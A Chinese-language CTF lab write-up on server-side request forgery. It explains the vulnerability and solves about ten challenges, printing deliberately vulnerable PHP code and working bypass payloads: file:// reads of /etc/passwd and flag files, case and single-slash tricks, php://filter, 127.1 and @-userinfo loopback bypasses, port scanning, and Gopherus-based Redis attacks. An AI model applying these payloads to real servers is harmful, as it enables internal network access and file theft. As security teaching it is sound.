一.基本概念
1.SSRF是什么?
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
2.SSRF漏洞原理
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。

黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。
3.CSRF与SSRF的区别

SSRF是服务器替攻击者去"偷"或"探测"东西。
CSRF是用户替攻击者去"执行"操作。
二.靶场实战
1.某x旅游软件存在SSRF
通过在 u_down 参数中注入内网地址 http://127.0.0.1:22,成功让服务器访问本地SSH服务并在响应中泄露了flag。

在这个页面的下载行程这里,这一行代码没有对u_down参数做过滤,用户能控制服务器请求的地址。
u_down 参数的值直接使用了 id 变量,代码中没有检查 id 是否合法,直接使用字符串拼接构造 URL,没有对参数内容进行过滤或验证,如果后续代码允许用户控制 id和u_down 值,就可能存在 SSRF 漏洞。
var id = 0;
var u = encodeURIComponent(document.getElementById('tour-title').innerText);
var url = "/api/download_tour?id=" + id + "&u_down=" + id;
fetch(url, {
method: 'GET'
})
所以我们直接在u_down这里输入随机一个链接,就会发现flag显现出来了

2.PHP代码审计CodeHunter19
这个靶场使用curl函数实现URL请求功能,且没有任何URL过滤机制,是一个基础的SSRF漏洞场景。
<?php
error_reporting(0);
highlight_file(__FILE__);
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url); // 直接使用用户输入的URL
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // 允许跟随重定向
curl_exec($ch);
curl_close($ch);
}
$url = $_POST['url']; // 从POST获取URL,完全信任用户输入
curl($url);
// flag.php 内容
echo $flag;
?>
尝试访问系统文件来确认是否存在SSRF漏洞:post输入url=file:///etc/passwd

接下来构造读取flag的url
3.PHP代码审计CodeHunter20
// run.php
$flag = readFlagFile(); // 读取flag文件
$url = $_POST['url']; // 获取用户输入的URL
$x = parse_url($url); // 解析URL(但未使用)
// 正则匹配:必须以 http://haobachang. 开头,以 bachanghao 结尾
if(preg_match('/^http:\/\/haobachang\..*bachanghao$/i', $url)){
echo file_get_contents($url); // 如果匹配成功,读取URL内容
}else{
die('hacker');
}
// flag.php
echo $flag; // 显示flag
正则规则分析:
^:必须以...开头
http:\/\/haobachang\.:http://haobachang.(注意最后的点)
.*:任意字符(零个或多个)
bachanghao$:必须以bachanghao结尾
/i:不区分大小写
因此构造url:
POST /run.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
url=http://haobachang.@127.0.0.1/flag.php#bachanghao
4.SSRF_Scan
靶场描述:找找其他服务?
主要考察利用协议进行端口检测
①输入 http://127.0.0.1:80查看有无回显,直接利用 bp 的intruder攻击:添加 payload 位置,导入 top100port字典,进行访问
为什么要输入 http://127.0.0.1:80 ,本质上是一个"漏洞探测"与"本地服务枚举"的起点。它的逻辑链条是:
测试服务器是否会主动向内请求。
测试服务器是否信任来自它自己的请求。
测试服务器本地最常见的服务(80端口)是否开放且有回显。
核心原理:利用"本地环回地址"探测自身
什么是 127.0.0.1? 这是每个计算机上都存在的"本地环回地址",它代表的永远是计算机自己。当你访问 127.0.0.1 时,就是在访问本机。
SSRF做了什么? 你在靶场输入框中提交 http://127.0.0.1:80,这个请求并不是由你的浏览器直接发送给 127.0.0.1 的(你的浏览器无法直接访问靶场服务器的内部),而是告诉靶场的服务器:"请你去访问一下 http://127.0.0.1:80 这个地址,然后把结果返回给我。"
这意味着什么? 如果服务器"听从"了你的指令,并成功访问了它自己的 127.0.0.1,就说明它确实可以对内发起请求,这是SSRF漏洞存在的首要证据。
通过SSRF漏洞,你利用服务器自己的身份去请求它本地的服务,就巧妙地绕过了这个基于IP的访问控制。如果服务器不加验证地执行了这个请求,你就会看到本应被隐藏的回显内容。

找到8080端口开放,于是将url端口改为8080,访问,拿到flag
②nmap扫描

5.最简单的PHP-SSRF
这个靶场是比较典型的SSRF靶场,作为初学使用是非常好用的。
flag在/tmp/flag.txt里,所以我们直接提交 file:///tmp/flag.txt(文件协议) 给靶场
服务器会读取它自己的 /tmp/flag.txt
6.PHP代码审计CodeHunter18
SSRF基础绕过-客尝试不同的环回地址
run.php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('badhacker');
}
}
else{
die('badhacker');
}
flag.php
echo $flag;
①关键过滤规则:
只允许 http:// 和 https:// 协议
过滤了 localhost 和 127.0.0(注意:只过滤了127.0.0,不是完整的127.0.0.1)
②绕过方法:
url=http://127.1/flag.php # 127.0.0.1 的简写
7.SSRF不允许使用File协议了1
// 只检测小写file协议
if (strpos($url, 'file') === 0) {
echo "<div class='msg'>不允许使用file协议了!</div>";
exit;
}
问题所在:
只检查了字符串是否以 'file' 开头
只检查小写,不检查大写
只检查了协议部分,没有检查IP黑名单
使用了 curl 且允许重定向
所以直接:FILE:///tmp/flag.txt
或者也可以使用php封装协议php://filter/convert.base64-encode/resource=/tmp/flag.txt等其他协议
8.SSRF不允许使用File协议了2
这次使用了 stripos 函数,这是大小写不敏感的,所以之前的大小写绕过方法失效了。
if (stripos($url, 'file://') === 0) {
echo "<div class='msg'>不允许使用file协议了!</div>";
exit;
}
关键变化:
使用 stripos 代替 strpos(大小写不敏感)
检查的是 'file://' 而不是 'file'
使用 === 0 检查是否在开头
因为cURL 不支持 PHP 协议,所以我们也不能用php封装协议了,而cul是一个用于传输数据的库和命令行工具,是命令行版的"网络浏览器内核" 靶场考点/漏洞原理 curl对单斜杠file协议支持
所以我们可以直接使用?url=file:/tmp/flag.txt
9.SSRF_Redis
Gopher 协议: 轻量级互联网协议,支持构造任意二进制 / 文本请求包,可模拟完整协议交互,能封装Redis协议的报文,通过gopher://URL 传递给 SSRF安全风险点
Redis服务默认运行在服务器内网(127.0.0.1:6379),仅允许本地或信任网段访问,外部无法直接触达。而 SSRF + Gopher 恰好能突破这一限制
Gopherus 是一款用 Python 编写的开源工具,专门用于利用 SSRF(服务器端请求伪造)。它的核心功能是生成恶意编码的 Gopher 协议载荷,从而攻击内网中的各种服务,实现从信息泄露到远程代码执行 项目地址 https://github.com/tarunkant/Gopherus Gopherus 可以生成 Gopher 协议的有效载荷,用于实现远程代码执行(RCE),并获取目标服务器的反向 Shell。该工具支持多种服务的 SSRF 攻击 payload 生成,包括 MySQL、PostgreSQL、FastCGI、Redis、Zabbix、pymemcache、rbmemcache、phpmemcache、dmpmemcache、smtp 等
根据题目,我们要利用SSRF漏洞去攻击目标内网的Redis服务(默认端口6379),并获取flag
在kali中使用gopherus.py脚本生成恶url,使用 gopherus.py --exploit redis启动Redis攻击模块,具体命令:python2 gopherus.py --exploit redis------------使用gopherus工具生成payload
具体过程查看这篇博客
用蚁剑访问,即可拿到flag
10.SSRF-请尝试绕过
SSRF不允许使用File协议了
代码分析
关键点:
第168行:直接从GET参数获取url
第170-173行:检查是否以file:..开头(这个检查很奇怪,应该是想禁止file://)
第175-178行:检查是否以file:///tmp开头
第180-186行:用cURL请求用户提供的URL(存在SSRF漏洞)
cURL在处理file协议时支持多种格式,包括:
file:///path/to/file(三个斜杠)
file:/path/to/file(一个斜杠)
file://path/to/file(两个斜杠)
绕过方法:使用cURL支持的单斜杠file协议格式:
?url=file:/tmp/flag.txt